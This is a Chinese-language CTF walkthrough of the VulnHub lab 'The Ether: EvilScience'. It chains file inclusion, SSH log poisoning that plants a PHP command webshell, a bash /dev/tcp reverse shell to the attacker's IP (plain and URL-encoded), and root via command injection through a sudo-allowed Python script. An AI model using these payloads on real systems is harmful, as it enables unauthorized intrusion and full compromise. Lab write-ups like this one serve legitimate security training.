0x01 项目地址
The Ether: EvilScience (v1.0.1)
0x02 靶机描述
The goal is to find out what The Ether is up to. You will be required to break into their server, root the machine, and retrieve the flag.
目标是找出 The Ether 的意图。你需要侵入他们的服务器,获取root权限,然后取回flag。
0x03 环境搭建
靶机 | The Ether: EvilScience | NAT模式 192.168.6.166 |
攻击机 | kali | NAT模式 192.168.6.128 |
0x04 详细步骤
1.主机发现
nmap -sP 192.168.6.0/24
2.端口扫描
nmap -p- -A -sV -Pn 192.168.6.166
开放了22
和80
端口
3.目录扫描
dirsearch -u 192.168.6.166
扫到两个目录,之后可以拼接访问
4.Web访问
浏览器访问192.168.6.166
,可以看到有三个页面,HOME
/ABOUT US
/RESEARCH
拼接访问/about.php
,这个其实就是ABOUT US
页面
http://192.168.6.166/about.php
拼接访问/images
,发现是个空白页,什么也没有
5.漏洞挖掘
我们再分别看看ABOUT US
页面和RESEARCH
页面,尝试找找可利用的点,访问后在url
中发现使用了file
协议,可能存在文件包含
ABOUT US
页面
RESEARCH
页面
通过浏览器插件Wappalyzer
可以看到中间件是Apache
那我们可以尝试日志文件包含来getshell
,先尝试查看错误日志文件的默认目录,发现访问时直接重定向到了首页
http://192.168.6.166/?file=/var/log/auth.log
我们用Burp
抓包再试一下
可以看到确实存在文件包含
端口扫描时还扫到了22
端口开放了ssh
服务,想利用ssh
登录,尝试将我们想要写入的代码注入进错误访问日志中
ssh "<?php phpinfo();?>"@192.168.6.166
这里用kali
进行ssh连接,一直提示远程用户名包含无效字符
然后换到本机开个cmd
窗口连接没有这个提示
接着在Burp
中再次查看错误日志,发现我们想要写入的代码成功写入,接下来就可以尝试写入一句话木马来getshell
6.漏洞利用
先写入可执行系统命令的一句话木马
ssh "<?php system($_GET[cmd]);?>"@192.168.6.166
然后尝试执行命令,这里尝试执行一下ls
&cmd=ls
发现命令执行成功,接下来可以尝试一下反弹shell
kali开启监听
nc -lvvp 9999
这里要执行的命令需要进行url编码,否则会报错
# 反弹shell命令
echo "bash -i >& /dev/tcp/192.168.6.128/9999 0>&1"|bash
# url编码后
echo%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.6.128%2F9999%200%3E%261%22%7Cbash
kali成功收到反弹shell
升级shell
python -c 'import pty;pty.spawn("/bin/bash");'
7.权限提升
使用sudo -l
查看一下权限,发现py
文件可以以root
权限免密执行
sudo -l
使用这个python脚本后发现,在这个python脚本中,当我们运行/var/log/auth.log | 命令
的时候,我们会以root
身份来执行该命令
sudo ./xxxlogauditorxxx.py
/var/log/auth.log | whoami
其实也就相当于拿到了root
权限,那么我们可以尝试用此脚本来寻找flag
文件
sudo ./xxxlogauditorxxx.py
/var/log/auth.log | ls /root
然后把找到的flag.png
文件拷贝到网站根目录下
sudo ./xxxlogauditorxxx.py
/var/log/auth.log | cp /root/flag.png /var/www/html/theEther.com/public_html/flag.png
接着下载到本地
wget http://192.168.6.166/?file=flag.png
查看图片,发现不是flag
用cat
命令查看一下图片,发现一堆乱码
cat 'index.html?file=flag.png'
继续往下翻发现flag
字样,紧跟着是一段经过base64
编码的内容,这个内容解码后应该就是我们要找的flag
flag: b2N0b2JlciAxLCAyMDE3LgpXZSBoYXZlIG9yIGZpcnN0IGJhdGNoIG9mIHZvbHVudGVlcnMgZm9yIHRoZSBnZW5vbWUgcHJvamVjdC4gVGhlIGdyb3VwIGxvb2tzIHByb21pc2luZywgd2UgaGF2ZSBoaWdoIGhvcGVzIGZvciB0aGlzIQoKT2N0b2JlciAzLCAyMDE3LgpUaGUgZmlyc3QgaHVtYW4gdGVzdCB3YXMgY29uZHVjdGVkLiBPdXIgc3VyZ2VvbnMgaGF2ZSBpbmplY3RlZCBhIGZlbWFsZSBzdWJqZWN0IHdpdGggdGhlIGZpcnN0IHN0cmFpbiBvZiBhIGJlbmlnbiB2aXJ1cy4gTm8gcmVhY3Rpb25zIGF0IHRoaXMgdGltZSBmcm9tIHRoaXMgcGF0aWVudC4KCk9jdG9iZXIgMywgMjAxNy4KU29tZXRoaW5nIGhhcyBnb25lIHdyb25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cGVyaW1lbnRzIGNvbmR1Y3RlZCB0byBjb3ZlciB1cCB0aGUgc3RvcnkuCgpPY3RvYmVyIDEzLCAyMDE3LgpXZSBoYXZlIGRlY2lkZWQgdG8gc3RvcCBjb25kdWN0aW5nIHRoZXNlIGV4cGVyaW1lbnRzIGR1ZSB0byB0aGUgbGFjayBvZiBhbnRpZG90ZSBvciBldGhlci4gVGhlIG1haW4gcmVhc29uIGJlaW5nIHRoZSBudW1lcm91cyBkZWF0aCBkdWUgdG8gdGhlIHN1YmplY3RzIGRpc3BsYXlpbmcgZXh0cmVtZSByZWFjdGlvbnMgdGhlIHRoZSBlbmdpbmVlcmVkIHZpcnVzLiBObyBwdWJsaWMgYW5ub3VuY2VtZW50IGhhcyBiZWVuIGRlY2xhcmVkLiBUaGUgQ0RDIGhhcyBiZWVuIHN1c3BpY2lvdXMgb2Ygb3VyIHRlc3RpbmdzIGFuZCBhcmUgY29uc2lkZXJpbmcgbWFydGlhbCBsYXdzIGluIHRoZSBldmVudCBvZiBhbiBvdXRicmVhayB0byB0aGUgZ2VuZXJhbCBwb3B1bGF0aW9uLgoKLS1Eb2N1bWVudCBzY2hlZHVsZWQgdG8gYmUgc2hyZWRkZWQgb24gT2N0b2JlciAxNXRoIGFmdGVyIFBTQS4K" | base64 -d
最终的flag
october 1, 2017.
We have or first batch of volunteers for the genome project. The group looks promising, we have high hopes for this!
October 3, 2017.
The first human test was conducted. Our surgeons have injected a female subject with the first strain of a benign virus. No reactions at this time from this patient.
October 3, 2017.
Something has gone wrong. After a few hours of injection, the human specimen appears symptomatic, exhibiting dementia, hallucinations, sweating, foaming of the mouth, and rapid growth of canine teeth and nails.
October 4, 2017.
Observing other candidates react to the injections. The ether seems to work for some but not for others. Keeping close observation on female specimen on October 3rd.
October 7, 2017.
The first flatline of the series occurred. The female subject passed. After decreasing, muscle contractions and life-like behaviors are still visible. This is impossible! Specimen has been moved to a containment quarantine for further evaluation.
October 8, 2017.
Other candidates are beginning to exhibit similar symptoms and patterns as female specimen. Planning to move them to quarantine as well.
October 10, 2017.
Isolated and exposed subject are dead, cold, moving, gnarling, and attracted to flesh and/or blood. Cannibalistic-like behaviour detected. An antidote/vaccine has been proposed.
October 11, 2017.
Hundreds of people have been burned and buried due to the side effects of the ether. The building will be burned along with the experiments conducted to cover up the story.
October 13, 2017.
We have decided to stop conducting these experiments due to the lack of antidote or ether. The main reason being the numerous death due to the subjects displaying extreme reactions the the engineered virus. No public announcement has been declared. The CDC has been suspicious of our testings and are considering martial laws in the event of an outbreak to the general population.
--Document scheduled to be shredded on October 15th after PSA.
标签:October,log,6.166,192.168,flag,Vulnhub,EvilScience,2017,Ether
From: https://blog.csdn.net/weixin_57289348/article/details/142532947